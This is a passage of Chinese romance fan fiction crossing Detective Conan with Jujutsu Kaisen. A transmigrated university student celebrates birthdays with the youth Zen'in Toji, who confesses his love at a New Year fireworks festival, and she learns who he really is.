我从包里翻出了那张银行卡，卡里的钱我只动用了一点，用来交水电费了，还有一个记了开销的账本。
我将账本往他那边推了推。
“我们之间的开销我全都记下来了，每月房租和分摊的开销算好后我才从你卡里取钱，你并没有欠我什么。”
冬至静坐在对面，没有动弹。
我继续道：“我让你多存钱没别的意思，只是说你以后人生长着呢，用钱的地方也多，不要大手大脚一次性花光，也不要陷入商家鼓吹的提前消费陷阱，经济不景气，没有什么比存款握在手里更重要。”
“你有钱就应该收好，谁也不要告诉。太单纯了，若是被别人知晓你有一笔存款在，会有许多没关系的人想尽办法骗走你的钱。”
“你也不该告诉我，这次就当作我没听见，你将会钱收好，以后每个月开销我算好，你再取现金还我。”
＊＊＊
禅院甚尔看着翻开的那页，从购买的纸巾、饮用水再到买菜，一笔一笔记录着。
他不喜欢，不喜欢她将这一切分得那么清，就好像一开始就将他隔离在她生活之外。
她喋喋不休说着，他一字一句听进脑海全变成了她要跟他分割清楚。
“给你一个警告哦，千万不要在成年之前跟她告白，她曾经说过不会跟年下男生恋爱，特别是未成年男孩，说是会有罪恶感，小心她会远离你哦～”
那个女人的声音再次出现在他脑海里。
禅院甚尔静静听完她的劝说，然后起身，“卡给你了，随你怎么处理。
9. 我的生日
我噎住，好家伙，我口干舌燥说了一大堆，他是一点没听进去！
看着桌上的两张银行卡，我无奈苦笑，还是找了个信封将卡装进去，打算明天还给他。
今晚就算了，看他心情不是很好，我现在追上去，他大概连面子都不给我。
然而第二天我起床才发现他已经不在家了，把我一下子给气笑了。
我还想着既然他有钱，今天带他去找学姐，拜托帮忙学籍的事。
没想到他这边先开了天窗。
校园祭之后的一个多月里我都没有再见到冬至，我从最开始的生气转变成了担忧。
这家伙银行都在我这里，他身上没钱能去哪里？
他是不是出事了？
我拜托学姐帮忙调查，学姐那边说没有他的消息，还说不要报警，我不是他的家人，报警也不会受理。
我吓了一跳，学姐怎么知道他不是我的家人，我什么时候露馅的？
学姐温和道：“第一次就知道了，立花的弟弟不是小学生吗？”
我这才说了我认识冬至的过程。
学姐摸了摸我的头，“立花太善良了，竟然会因为一个陌生人堕落而产生负罪感，这样在未来的人生怕是很辛苦。”
我解释，“别人怎么样，我当然不会管，主要是冬至当时出现在我面前，我想着随手拉一把，说不定能改变他的命运。”
我咬了咬唇道：“那孩子看着人的眼神充满了颓丧，感觉不拉一把，他就会被黑暗吞噬。”就好像抑郁症患者一样。
“怎么说你呢，立花，下次不要带陌生人回家，这次是运气好，下次就不一定了，这个社会上坏人比较多。”
我很想反驳，又觉得她说得有道理，这里是立本不是种花。
再说光看米花町那副德行，我也没办法昧着良心说这个世界好人居多。
其实我自己都不知道为什么会将冬至领回家，只能说当时脑子一热吧，也幸好我赌赢了，没有碰上一个坏人。
学姐宽慰我，“既然他之前在外面流浪过，那你也不必担心，或许等他身上钱花光了，就会回来了。”
我也只能这样想了。
之后的日子过得很煎熬，转眼就快到圣诞节。
然后某天冬至就若无其事出现了。
那天是冬至，我以为的冬至生日，我想着他总不能生日都不回家。
放学顺便买了南瓜和饺子，还未到家就看到了二楼一间门是敞开着的。
我心里泛起了激动，连忙冲了回去，站在门口往里望，没看到人先听见了浴室有水流声音。
我心里一松，然后看到了桌面上随意摆放的纸，那大大的一行“卒业证明书”几个大字。
我惊讶了，正打算细看，就听见浴室门被人拉开，冬至这家伙就围着浴巾，光着上半身出来。
“啊！”
我大叫了一声，遮住眼睛，“冬至，你这家伙好歹套件衣服，也不怕冻感冒吗？”
说完连忙往外跑，回到自己房间，我紧闭大门，放下手中的购物袋，拍了拍发烫的脸。
冬至那小子平时穿着衣服看不出来，光着竟然有那么多肌肉。
其实上次他受伤我就发现了，只是那次我光担心他的伤势，也没多注意这些。
“看来以后不能随便去他的房间了。”我自言自语。
他到底是个男生，我们也没有血缘，需要多一些距离。
打定主意后，我拍了拍发烫的脸蛋，先进浴室对着镜子照，果然红透了，连耳朵都红得滴血。
太羞人了，这家伙到底怎么练的，之前在家也一副懒洋洋的样子，也没怎么运动，到底是怎么保持的那副好身材？
＊＊＊
禅院甚尔看着空荡荡的大门，又低头看了看自己完美身材，脑门上不由浮现出了一个问号。
这招不管用了吗？
以前只是稍微展示一下，就有大量的女人扑过来。
怎么到她这里就不管用了？
他光着脚站在屋内，听着隔壁传来的洗菜声音，只好伸手。
角落里蜷缩的虫形咒灵念着含糊不明的声音爬过来，吐出了一个行李箱。
禅院甚尔拉开后翻找，选了一套时尚的卫衣穿上。
灰色的一套衣服穿在他身上，比模特效果还要拔群。
＊＊＊
冬至这天吃什么？
要是在老家，应该吃饺子，这边习俗是吃南瓜。
我将南瓜削皮，想了想熬了一个南瓜粥，再做一个南瓜饼。
这边饺子是煎着吃，我选择用做锅贴的做法，这个放在最后。
门口传来脚步声，我回头看见穿着时尚的冬至，冲他竖起大拇指。
“真帅气，快点来帮忙，今晚吃南瓜和饺子。”
说完我埋怨道：“你这出去跟失踪一样，我差点都想报警找你了，能不能打个电话回来报个平安？”
他走到我身后，低声道：“抱歉。”
我一转身，这家伙离得太近，我差点没撞到他身上。
“你离那么近做什么？”
我将南瓜放在他手里，“你去切成细丝，等会儿我要用。”
南瓜饼有多种做法，我更喜欢咸味的，跟土豆饼做法雷同，就是切丝后杀水再放上鸡蛋、淀粉和调料，摊平后放在锅里油煎。
看他老实地接手了活，我怒气少了许多。
“讷，今天是冬至，是你的生日吗？”
他像是思考了一下才回答，“我的生日跟冬至无关，好像是一年的最后一天，有些不记得了，反正不重要。”
我有些急了，“怎么能不重要？生日是我们诞生的日子，也是母亲的受难日，很重要的！”
我深吸一口气，用轻松的语气道：“很巧合，我的生日是明天，你的生日是这个月最后一天，也就相差一星期时间。”
“你明天为我庆祝生日，一周后我再为你庆祝生日，这样一来，我们都不用孤零零地度过自己的生日。”
我承认自己是卖惨，只希望这小子别以为我是在可怜他。
他沉默许久才开口，“明天是你的成年生日吗？”
我抿嘴略带骄傲道：“没错哦，过了明天我就是可以喝酒的成年人了，不过成年礼不是明天是下个月十五日，役所那边已经提前通知我按时去参加成人仪式，对了，还要穿和服哦～”
怎么样，羡慕了吧，小屁孩？
和服是学姐送给我的，说是送给我的成人礼物。
我虽然很不想穿着和服，可想到入乡随俗嘛，反正就这一次。
谁不喜欢穿漂亮
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的衣服？
“过完生日我十八了。”他认真说完，然后盯着我。
“啊？”我一头雾水，十八怎么了？这里又不是种花，十八岁也不算成年啊！
隔天我生日，我有些嗨，中午跟大家相聚，吃了饭唱了卡拉OK。
等回家已经很晚了，学姐开车将我和冬至一块送了回来。
等我们下车，还送了两瓶红酒。
“恭喜立花，以后就是能喝酒的大人了。”
我嘻嘻道谢，二次元就是好，仪式感拉满。
走进巷道里，我提着酒哼着歌。
回头看见提着蛋糕的冬至，眉眼弯弯。
“走，回家许愿！”
我向他伸出手，我已经迫不及待了。
＊＊＊
路灯下，少女猛然回过头，眉眼带笑，眼里闪烁着光。
看着她伸过来的手，他心悸动了一下忍不住握住。
她似乎惊讶了一下，还是回握了回去。
后来失去她的那段时间里，禅院甚尔总是不断回忆这段场景，或许当初不该握住她的手，也不会将不幸传染给她。
那样她活在他不知道的地方。
＊＊＊
我感觉大脑亢奋，对于冬至握过来的手只是惊讶了一下，非常自然地回握住。
我本来只是要蛋糕来着，要是甩开他的手会不会让他情绪失落？
我脑海有点乱，我虽然没恋爱过，可没吃过猪肉不代表没见过猪跑。
这家伙的态度就有点不对劲，我怀疑他是不是对我有了雏鸟情结。
雏鸟情结不一定是喜欢，只是因为我带他回家，而对我产生了特殊好感。
这种好感不一定意味着喜欢，隔壁邻居家大姐姐温柔漂亮，我有好感，这是喜欢吗？
也许是，但不是爱情。
我有些惊讶，打定主意以后注意一点分寸，等他长大谈了恋爱就该知道那根本不是爱情。
蜡烛点上，我关上了灯。
约定好的互相陪着对方过生日，这一点我不会反悔，反正他也没有当场说出来，我就可以假装不知道。
黑暗中只有微弱的烛光亮起，我们俩傻傻地看着对方，我看着蜡烛快烧一半，有些急了，“你唱生日快乐歌呀！”
“怎么唱？”他有些紧张地问。
我晕死，赶紧教他，反正就一句。
他咳嗽一声，轻声哼唱起来，我有些意外，他的声音还挺好听，都可以原地出道了。
我赶忙闭上眼许愿。
我要许什么？我想想，希望冬至以后能快乐吧，这小子天天丧着一张脸，我的忧郁症都快被他激出来了。
睁开眼，我赶紧吹灭了蜡烛，然后笑呵呵拍手。
“开灯，切蛋糕！”
灯光亮起，我正要拿起刀，先看到了冬至手中包装好的盒子。
我惊喜道：“送我的？能打开吗？”
冬至“嗯”了一声，将盒子推到我面前。
我顾不上切蛋糕了，先拆开礼物，里面是一部索尼手机。
我吃惊，“这个也太昂贵了！”
黑白机对于我来说太过时，可对于九八年来说绝对是一份昂贵的礼物，更不说这款手机今年才刚上市。
“太贵重了，我不能收。”
10. 他的生日
少年当作没听见，理直气壮问：“你刚才许的什么愿望？”
“愿望这种事说出来就不灵了！”
我吐槽一句，意识到他在转移话题，算了，反正我也需要一部手机，生日礼物虽说贵重一点，大不了回头送他一个差不多价值的。
“不说出来，怎么能帮你实现？”
我满头黑线，“愿望不是说给神灵听的吗？这种放在心里祈祷，神应该能听见了吧？”
“你是小学生吗？小学生都知道这个世界上没有神，说出来别人才能帮你实现。”
呃，好有道理。
想到我许的愿望，也不是什么不能说的秘密，我大声道：“我许愿Toji以后天天快乐。”
然后我眼睁睁看着对面那小子脸红到了脖子。
果然真诚是必杀技，这小子很吃这一套。
我笑出声，一个平日里酷酷表情的少年突然脸红，还是很有趣的。
眼见他双眼携带杀气射向我，我才清了清嗓子问。
“那个卒业证明书从哪来的？”
“找别人帮忙办的。”
我紧张起来，“不会办的是假证吧？”
他撑着下巴摆手，脸色已经恢复正常，“是真的，在当地学校能查到。”
“你说的，学历很重要，可我又不想去上学，还是找人办一个方便。”
这回答真是让我无言以对，可恶！这些享有特权的人！
……
我生日的第二天是平安夜，听闻我们住的地方不远处有灯会，我们跑去看了。
圣诞节就没出门了，老实地待在家里过冬。
从平安夜到一月八号都属于寒假。
这边的寒假不像国际遵循的那么长，不过等到二月还会放春假，一直能放到四月初。
圣诞节之后我多了一个烦恼，思考送冬至的生日礼物。
我问了他本人，结果额头挨了一下，“自己想。”
我苦思冥想，什么东西能跟手机等价。
是红白机吗？他好像对电子游戏不感兴趣。
虽然看漫画书，但也不是漫画迷。
要说喜好，吃肉算不算？
总不能领着他大吃一顿吧？
“啊，好纠结！”我在被炉里翻滚。
该送什么呢？
在家好像想不出什么，干脆去东京逛逛，说来穿越来这么久，我很少离开埼玉县。
毕竟东京还有个觉醒了死神的米花町，谁知道这是单柯世界还是综了什么的世界？
我拿着新手机给学姐发了一个短信，很快学姐打电话过来。
“买礼物的话，推荐去银座，出错率不高。”
我觉得有道理，一部手机值不少钱，同等的钱拿去银座应该能换一样不错的礼物。
我背着包悄咪咪带上了门，还未走到冬至门口，房门就被拉开。
这家伙是长了顺风耳吗？耳朵这么灵？
他倚在门框上，慵懒地看着我。
“去哪？”
我抓了抓头发，“去东京买礼物。”
他二话不说站直了道：“我也去。”
我拒绝，“不行，我跟学姐约好了，带你不方便。”
＊＊＊
“不好意思来晚了！”
咖啡厅里，我向学姐道歉，然后又看向一旁的园子和小兰，很好，今日死神不在。
像是看穿了我的想法，学姐笑眯眯道：“今日是女生限定日，不允许男生加入哦~”
说着对园子和小兰道：“约你们出来，是立花遇见了难题，有一位男生送了她很昂贵的礼物，她想要回礼，又想不出回什么好。”
园子吃瓜的眼神一亮，“是帅哥吗？”
我忙挥手，“你们认识，上次跟我一起去别墅的Toji。”
我有些为难道：“前几天我生日，这孩子突然送了我一部手机把我吓了一跳，礼物太昂贵了，正好后天是他生日，我想买个差不多价值的还回去。”
园子瞪大眼睛，“是那位弟弟君吗？”
小兰：“看样子有情况啊~”
我挥手，“你们想多了，他只是对钱没有概念，觉得我需要手机就送给我。”
“什么嘛，我还以为弟弟君暗恋你。”
我晕死，我和冬至？我可从没往这方面想。
学姐温柔道：“情况就是这样，立花不知道该回什么礼，想寻求我们的帮助。”
“差不多的价格，男生都喜欢手表、钱包之类的吧？”
园子看向小兰，“说来有一段时间没见到工藤新一了，小兰你之前送工藤新一什么礼物？”
“是亲手做的巧克力。”
“呀，是本命巧克力吗？”
小兰连忙转移话题，“这个不重要啦，绫子姐姐有什么建议，你收到的礼物应该很多。”
我期待目光看向学姐，园子和小兰太不靠谱了，还是学姐更让我信任。
铃木绫子：“我收到过首饰、名牌包包、化妆品，要说特别的就是大学时收到了墩子送的御守。”
我们都知道墩子是谁。
“我觉得立花你没必要现在还一个等值的礼物回去，这会给对方一种你不想欠他的想法，生日礼物应该是带着祝福，回等值礼物可以选择一个不重要的节日。”
我意识到了问题，好像一直纠结着还给贵重礼物回去，忘记了那是冬至的生日。
我抿了抿嘴，有点愧疚，幸好学姐点醒了我。
冬至那家伙心思敏感，万一察觉到怕是会生气又跑不见了。
小兰也赞同。
我点头，“那就去神社求个御守……”
话还没说完就听见旁边传来尖叫声，“死人了！”
我反射性起身环顾四周，果然看到某个躲在沙发后的身影，噫~就知道有这个死神在肯定没好事发生。
……
警察带走了嫌疑犯，小兰牵着柯南过来，“抱歉，没想到柯南也跟过来了。”
我点点头看向学姐，“学姐，你说的对，生日礼物心意最重要，这次多谢你了，我先走了。”
我才不要跟死神一起去神社，我怕遇见一连串案件，天黑都到不了。
学姐大概是知道我对柯南的嫌弃，还是认为这一切是巧合。
她冲我挥挥手，“那我们回去了，对了，你上次推荐的那部剧四月就开播了，记得要看哦~”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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我很激动，那可是松岛菜菜子和泷泽秀明一起拍的剧，哪一个放在后世很出名，更不要说去年的《午夜凶铃》让松岛菜菜子名气大增。
告别四人，我坐地铁前往明治神宫，这里的神签可是非常灵验，早听同学提起过了。
临近元旦这里的游客很多，我甚至听见了熟悉的语言。
我求了御守，离开神社之前我好像看到了熟悉的身影。
我摇摇头，冬至还在家里，怎么可能在这里？
还未到家我就看到冬至揣着胳臂站在巷子里臭着脸堵我。
我有点心虚，就像是撇开小孩偷偷跑出去玩的大人。
我掏出点心递过去，“给你带了礼物哦~”
我决定了生日礼物就送我亲手做的生日蛋糕，这可是冬至人生中过的第一个生日，一定得是记忆深刻的。
蛋糕怎么做，这倒是没为难我，我提前一天买了材料按照料理书上的步骤来。
一切都很顺利，就是画图的时候手抖，返工了几次，原本白色的奶油混合其他颜色后变成了淡粉色。
别说还挺好看。
奶油太软，我实在是挤不出一个黑发嘴边带着伤疤的小人，最后只能在蛋糕上画了一个笑脸，旁边写着一行小字，生日快乐之类。
最后看蛋糕还是太粗糙，干脆撒了一些巧克力碎放了几颗草莓。
这样点缀一下，还算看的过去。
做完蛋糕，我看时间还早，又跑去了工作室，想来想去，还是亲手做一套衣服更能表达心意。
我学的就是这个专业，知道他的尺寸，索性自己买了布料为他做一身浴衣，这个跨年看花火大会需要。
明天是今年的最后一天，晚上荒川会举行花火大会，跨年活动，一年一次当然不能错过。
做浴衣其实不难，难的是选择布料，男士的浴衣黑色居多，我还是尽量选择了好一点的布料，昨天从东京回来没有回家而是拐到工作室这边先挑好了布料，上青下黑裁剪好了。
今日过来缝制一下，缝制完，烫熨好，装进了盒子系上彩带，完美！
礼物蛋糕都好了，就等着凌晨为他庆祝。
这边祝生日也有守着凌晨发的，毕竟是当天的第一个祝福。
我可就不一样了，我是当着本人面祝福的。
回到家我若无其事将礼物藏起来，晚饭就是很普通的拉面，吃的冬至不住看我。
“钱不够了吗？”
“当然不是！”
我咳嗽一声清了清嗓子，“今晚别太早睡，凌晨我要第一个祝福你。”
说完我还不忘解释了一句，“本来明晚帮你庆生，这不是刚好赶上跨年之夜了吗？我想着干脆挪到凌晨，明晚我们去看花火大会。”
我见他不吭声，忍不住问，“好不好？”
＊＊＊
禅院甚尔心里生出恐慌，这是他能抓住的幸福吗？
他这样一无是处的人，能配得到幸福吗？
还是说十八年糟糕的人生连上天都看不过去，才让他抓住了这样的好运？
心脏如雷鸣一般鼓动，他张了张嘴，“好。”
哪怕前方是地狱，他也心甘情愿赴约。
11. 少年的告白
晚上我们俩守在屋里看电视，时间来到十一点，我的注意力开始飘散，总是忍不住扭头看墙壁上的挂钟。
等到十一点四十，我噔噔噔跑进厨房将上午做的蛋糕端到早收拾干净的桌面上。
然后是礼物。
电视还开着，我们俩隔着桌子一同盯着墙壁上的指针。
直到指针全部指向十二点，我欢呼一声，大声喊道：“Toji君，生日快乐～”
“来～伸出手。”
他看了我一眼，伸出右手。
“不对，男生是左手。”
我掏出御守系在他手腕上，“神明要保佑Toji从此人生一片坦途～”
我笑眯眯地欣赏他手腕上的御守，然后嘱咐他插蜡烛点蜡烛。
灯光熄灭，屋内只剩下了微弱的烛光，我坐回来，“来许愿～祝你生日快乐～祝你生日快乐～”
伴随着我的拍手和歌声，他嘴角上扬，闭上了眼睛。
等他睁眼吹灭蜡烛，屋内重新亮起，我急吼吼问，“许了什么愿望？”
“不告诉你～”他露出笑容，洁白的牙齿有些耀眼。
可恶～
“你怎么这样啊～我的都告诉你了～”
最后还是没问出来，他说考虑一下明天再跟我说。
我勉强同意。
昨晚熬夜，今天一觉醒来已经是中午，等我慌慌张张起床，已经闻到了食物的香气，拉开帘子一看，冬至将餐盘放在桌上。
我打了个哈欠，突然愣住，等等，他怎么在我屋里？
难道昨天他没回去？
我看着地上散落的两瓶红酒，不由有些头疼。
记忆回来，昨晚我好像很高兴，我俩不知谁说庆祝一下，我拿出了学姐赠的红酒，在冬至面前炫耀一下自己是能喝酒的成年人。
然后呢？
我好像一杯干倒，然后躺在被炉里睡着了。
这剩下的酒难道是他干掉的？
“想什么？过来吃饭！”
他走过来敲打了我头一下，我愣住，然后追了上去。
“你小子别太嚣张，要尊重我呀！”
我走到桌子前，竟然很丰盛。
我笑着鼓掌，“今天是生日，就该吃丰盛点。”
他拉长声音，失望说：“什么啊，你不记得了？”
我疑惑地问，“我忘记了什么？”
他没有回答，而是把我往浴室方向推，“快去洗漱，不然饭菜就凉了。”
我连忙转头，等洗漱好，我坐在桌边，还是惦记着他刚才的话。
“我忘记什么了？”
他切了一块牛肉放自己嘴里，垂着眼眸失落道：“我的生日愿望，你答应了。”
我抓狂，我答应了？
我答应什么？
我怎么一点印象都没有？
“等等，你的生日愿望是什么？”
说来听听，说不定能唤醒我的记忆。
“不记得就算了。”他沉默片刻后，情绪低迷道。
我生出愧疚感，“你说吧，算我求你了！”
难道还要我跪下不成？
他嘴角下沉，一副不开心的模样。
“今天我生日，不想提不开心的事，你想知道，明天再告诉你。”
我顿时闭嘴，一切都是我的错，所以我醉过去到底答应了什么？
吃完饭我们分头行动，我洗澡洗头换上好看的裙子编发化妆。
像这种动漫常出现的花火大会我可是期待已久。
去年元旦过得匆忙，又遇上葬礼，等一切过去什么节日早过了，后面赶上开学适应大学生活。
今年说什么也不能错过。
下半身长裙，上半身羽绒服，跟美相比，我还是更注重保暖。
长裙子下面我还穿了裤子，嘿嘿，我没法学光着腿的樱花妹子，走出门就被冻了回来，不套上裤子我出不了门。
冬至倒是不怕冷，穿着浴衣很帅气地等候在外面。
我们坐电车去东京，车上全都是穿着和服的男女，一看都是去玩的。
东京那边不只荒川有花火大会，池袋、原宿都有大型活动。
下了车，这边热闹极了，各种摆摊的，校园祭跟这比完全是小巫见大巫。
这一刻动漫里的一切情节都在这里出现了。
我拉着冬至玩了一圈，也从街头吃到了街尾，最后还跑去看了表演节目。
时间很快来到了深夜，大家聚集起来，不约而同喊着倒计时。
等到零点，天上亮起了灿烂的烟花，然后身边的男女不约而同抱着互啃。
我不好意思避开，一不小心踩漏了楼梯，当我以为自己会从楼梯上摔下来时，腰上突然被人用力，等我反应过来我被冬至抱在了怀里。
我站直了拉开点距离，低头嘀咕，“怎么踩到裙子了？”
“你答应了我的愿望，已经是第二天了，你想知道是什么吗？”
我抬头催促，“你快说～”
下一秒他凑过来在我脸上碰了一下，“我的愿望要你，你同意了。”
“霁，我喜欢你，我们在一起吧！”
我呆在了原地。
＊＊＊
“……事情就是这样。”我偷偷摸摸跟做贼一样来见学姐。
昨天夜里的混乱就不要说了，我从来没有想过冬至对我竟然有那样的心思。
说实话我现在脑子都一片混乱，完全不知道该怎么办。
铃木绫子将咖啡推到我面前，笑眯眯道：“所以立花你直接跑掉了，连家都不敢回？”
我脸红，我承认在别人告白后当场跑掉的行为很过分，可、可我实在是无法再看见那张脸。
“学姐，我该怎么办？”
我紧张地咬着指甲，我的朋友不多，能问的人很少，头一次遇见这种事，想来想去只能求教学姐。
铃木绫子喝了一口咖啡道：“其实第一次见面我就察觉到那位弟弟君对你态度不同，我还提醒过你。”
我回忆，“有、有吗？”
“有哦，我说过你弟弟还是小学生。”
我扔了一个糖块进咖啡里，边搅动边纳闷问：“学姐，这也算提醒吗？”
“在别墅的时候，那位弟弟君从头到尾都跟在你身边，对其他一点都不关心，他又不是你的亲弟弟，你就没觉察出问题吗？”
我动了动唇，“可我把Toji当弟弟。”
“你的意思不代表是对方的意思，这种联谊他跟来，之后又紧贴着你，在我们这些人眼里，他就是在宣告主权。”铃木绫子指出了问题关键。
我惊讶，真没想到别人是这么看待我们，难怪一向对帅哥花痴的园子对冬至不感兴趣。
“学姐，是我的错，现在
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该怎么办？”
“你要拒绝吗？”
我咬住下唇，我现在心情也很复杂，没准备答应，可要让我拒绝我又说不出口。
我隐约察觉到，一旦我拒绝，冬至大概会从我的世界消失。
铃木绫子笑了笑，“我帮你梳理一下你们的相处过程，或许你能找到答案。”
我连忙点头。
“学姐你问。”
“他是你捡回家的对吗？”
我点头，忍不住道：“我觉得冬至对我大概是雏鸟情结，那根本不算爱情。”
“这个先放到一边，你将之后相处的经过说给我听。”
我如实说了。
“……他受伤你送他去医院，他将财产都交给了你，你们两个互相为对方庆生，平时住在一起，一起吃饭，一起看了灯会和花火大会？”
我点头。
铃木绫子微笑着问我，“提问：你觉得以上哪些不是情侣该做的事？”
“顺便提一句，哪怕是夫妇关系，也很少有丈夫将全部积蓄交给妻子。”
是、是这样吗？
我如同一只败犬抱住了头，我有罪，一切都是我给了冬至错误的暗示。
我身为一个年长的女性，竟然无意识引诱了一位少年，我真是罪该万死！
“立花，你想拒绝吗？”
铃木绫子喝了一口咖啡，缓缓问。
“别急着开口，先问问你的内心。”
我的内心？
我是一个正常女性，一位大帅哥向普通的我告白，我肯定暗喜。
可问题是那是冬至！
我总有种将无知少年引入歧途的罪恶感。
面对他的告白我没有拒绝而是逃避，说到底我根本拒绝不了他！
找学姐与其说是诉苦，不如说是想找个说服自己的理由。
“我……”我说不出口，感觉自己真是个邪恶的大人。
铃木绫子温柔道：“立花应该没谈过恋爱吧？”
我惭愧，在立本都成年还没谈过恋爱的少之又少。
“可以尝试接受哦，等试过之后不合适再分手，又不是一辈子绑定在一起。”
我脸红，“可是我这样普通……”
冬至那么帅气，我怎么敢接受？这也是我一直将自己放在姐姐位置上的原因。
铃木绫子一向眯起的眼睛罕见地瞪大，“立花都算普通，这世间还有好看的人吗？”
“园子和小兰都说立花很像内田有纪。”
我捂着通红的脸，“诶，像吗？”被夸了好开心～
铃木绫子笑眯眯道：“立花只是不怎么打扮，短发其实更适合你。”
这场谈话对我来说蛮重要，起码让我看清了我内心的想法。
在咖啡厅门口跟学姐告别，她上车前突然感叹道：“上回在别墅我跟弟弟君说你接受不了和未成年恋爱，我以为他会等到成年，没想到还是没能忍住。”
我瞪大了眼睛，什么，还有这种事？
我这下是真确认学姐是知道冬至的想法。
挥手送学姐的车离开，我转过身就看见冬至揣手站在不远处。
还是昨日的浴衣，在一众穿着棉服的路人中显得格格不入。
我抿了抿唇，走了过去。
“那个，我们回家。”
我向他伸出手，片刻后他伸手握住。
12. 坦白局
回去的路上，我有些不好意思。
上车下车我们握着的手一刻都没有分开过。
等回到家，我试着抽出手，没有抽动，“你松手呀！”
他不放，眼里闪过一丝紧张，“你同意了对不对？”
我佯装不耐烦道：“对对对，我答应了，不会反悔。”
哎呀，好害羞～
我被他抱住了，我有些懵，发生了什么？这速度也太快了！
他紧紧抱住了我，声音有些低沉，“我好像在做梦。”
我不知为何突然兴奋起来，这可是帅弟弟呀，这话听得姐姐怎么扛得住？
我迟疑了一下，回抱了回去。
“以后请多关照，我的男友君？”
“霁，我好开心。”
我的名字从他嘴里念出来，让我后背麻了一下。
我应该不叫这个名字的，等等，我原来叫什么？
我有些恐慌，我只记得自己穿越的，却不记得自己原来的身份。
很快这份恐慌淡去，变得模糊起来，对，立花霁就是我的名字。
“不知为何你叫我名字，我有点肉麻。”
我推开他，“好了，新上任的男友君，你还在考察期，不可以太过分，拥抱属于限定哦～”
我心情不错地哼着歌开门进去，在关门前我探出头对门外的他说，“乖乖休息，晚上我再审问你。”
他举起手，咧嘴笑道：“可以哦，我对霁毫无保留。”
我的回答是不客气地关上了门。
错觉吧，这家伙怎么跟变了个人一样？
＊＊＊
补了个觉，我醒来就被吓到了，床前坐着一个人。
“你、你怎么进来了？”
我不是把门关上了吗？他是怎么进来的？
少年托着腮，盘腿坐在床前，嘴角上扬，“一想到霁是我的了，我就很开心。”
我嘴角一抽，狠狠在他头上来了一下，“说的是什么话？很像犯罪场景欸！”
打了个哈欠，揉了揉睡得乱糟糟的头发，我催促道：“说到三，给我出去！”
少年凑过来在我脸上碰了一下，“快点出来，我们去约会～”
“什么嘛，哪有第一天交往就去约会的？”
我捂住脸，嘴角止不住地上扬，别说这种跟年下弟弟恋爱的感觉还挺好。
弟弟好会～
算了，不计较他什么时候有了我房门的钥匙。
洗漱后，我换上毛衣，外面披着大衣和他出门。
说是约会，其实是去外面吃饭。
去的附近一家烤肉店，我吃他烤，全程享受到被照顾的待遇。
等吃完饭他还想继续溜达，被我拒绝。
“不要，昨天好累，我要回家休息！”
我还得审问他呢。
哪有交往了还不知道对方信息？
我的房间有点乱，最后坦白局放在他房间里。
他的房间是真的很空旷，只有一个煤油取暖炉放在角落里。
屋子里温度还没上来，我和他坐在榻榻米上，隔着桌子严阵以待。
“既然已经交往，我们该互通一下情况。”
我面色严肃，分给了他一张纸和一支笔。
“我提问，我们将各自情况说出来。”
他很配合地坐在桌后面。
“首先是姓名。”
老天奶，谁能想到都交往了，我还不知道他姓什么，只知道他叫Toji，十七、不对，从昨天开始变成了十八周岁。
还有他手里的那两张银行卡，咳，好吧，这个是加分项。
至于其他信息我是全然不了解，不知道他是哪里人，还有家世身份，只能看出他不是贫苦人家出身。
我主动道：“我叫立花霁，埼玉县人，今年二十岁，埼玉大学艺术部二年级学生。”
少年很配合道：“禅院甚尔，京都府人，十八岁，暂时无业，偶尔做个兼职。”
禅什么？我好像听见了一个很耳熟的姓！
我还是怀疑自己听错了，“禅院？”
禅院冬至？
还是说……
我有点慌，“你证件，不对，卒业证明书给我看一下。”
上回只看到卒业证明书几个大字，没详细看就被光着膀子的他吓跑了，我都没来得及看他的姓名。
我呆呆看着面前的一张奖状一样的纸。
禪院甚爾，四个大字在我面前晃动。
我有些晕眩，不是谁家名字跟中文不一致？
Toji不是冬至的意思吗？
禅院甚尔！
穿越前大火的动漫我怎么可能不知道？
男主角之一伏黑惠的亲爹，故事开始的十年前已经死掉的角色……
我看看对面的少年，神情恍惚，不对，冬至怎么可能是甚尔？
这个世界终于要疯掉了吗？
有米花町还不够，还得综个全是刀子的《咒O回战》？
综什么不好，为什么是这部作品？
别的漫画是做错了事才会有恶果回报，这部不一样，它是不讲理到不需要付诸行动只要想想就有恶念出现。
我是不是该庆幸自己只是一个普通人，才没有看见丑陋的咒灵，才能平安活到现在？
一只手放在了我额头上，我抬眼就看见他一脸关心地问，“怎么了？”
我恍恍惚惚道：“没事，就是冲击有点大。”
我交往的弟弟是禅院甚尔，那我是谁？
他收回了手，“不是坦白局吗？不继续了？”
我摆手，还继续什么？我知道的远比他知道的还要多。
我看着他，他现在还是少年模样，远没有漫画里出场时那么成熟，可是一想到之后他那般颓废，我的心就有些刺疼。
不对，我该不会是惠妈吧？
不行，我得回去想一想。
我晃晃悠悠起身，然后手腕被抓住。
＊＊＊
为什么知晓他姓禅院神色一变？
难道她对咒术界知情？
禅院甚尔看了一眼试图往她身上爬的虫形咒灵，她看不见咒灵，就算以前被咒灵袭击过，幸存下来的普通人也该被洗去记忆才对。
他眼神里满是戾气，“你想反悔？”
幸运之神青睐了他，他绝无可能放手！
＊＊＊
我哑然，回想了一下学姐说过的话。
我正视内心想法。
不知道他的身份前，我已经心动，知道他是禅院甚尔后……
糟糕，更心动了有没有？
这是天与暴君欸，黄毛丫头才会被鸡掰猫的脸迷惑，我这样成熟的女人当然更好性感男人这一款。
我拿的是什么救赎剧本？
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>我将手放在他脸上，“乖，我没有后悔，我只是……”
我犹豫了一下，还是没有将未来说出来，我都穿越了，总不能剧情还能圆回去，当穿越女这么没排面吗？
我心定了下来。
笑了下，弯腰在他嘴角亲了一下，安抚道：“我没事。”
他揽住了刚要退后的我，试探性地凑过来。
我有些紧张，啊，交往第一天就要亲吗？
我没有做好准备啊！
我紧张闭上眼，感受到唇上的热度。
接着他退了回去，我松了一口气的同时有点小遗憾。
好纯情啊，我以为会深吻嘞。
我们重新坐回去，我不自在地捂住嘴，眼神扫向一旁就是不敢正眼看他。
“你知道禅院家？”
啊，这是审问我吗？我露馅了吗？我脑子飞快转动，很快想到了一个借口。
“那个，我外婆有点异常能力，之前是这一片比较有名的神婆，我、我听她提过一些，御三家嘛。”
这话倒是没有说谎，原身外婆确实是神婆，不然我也不会说她神神叨叨。
之前我不知道这是有咒灵的世界，现在我知道了，原来她真有特殊能力。
甚尔皱眉，“不要提，那不是正常人该待的地方。”
我立刻想到了禅院家那句著名的话，不由伸手抚平他的眉头。
“甚尔之前说的就是禅院家吗？他们经常欺负你吗？”
他按住了我的手，脸上带着恬静笑容。
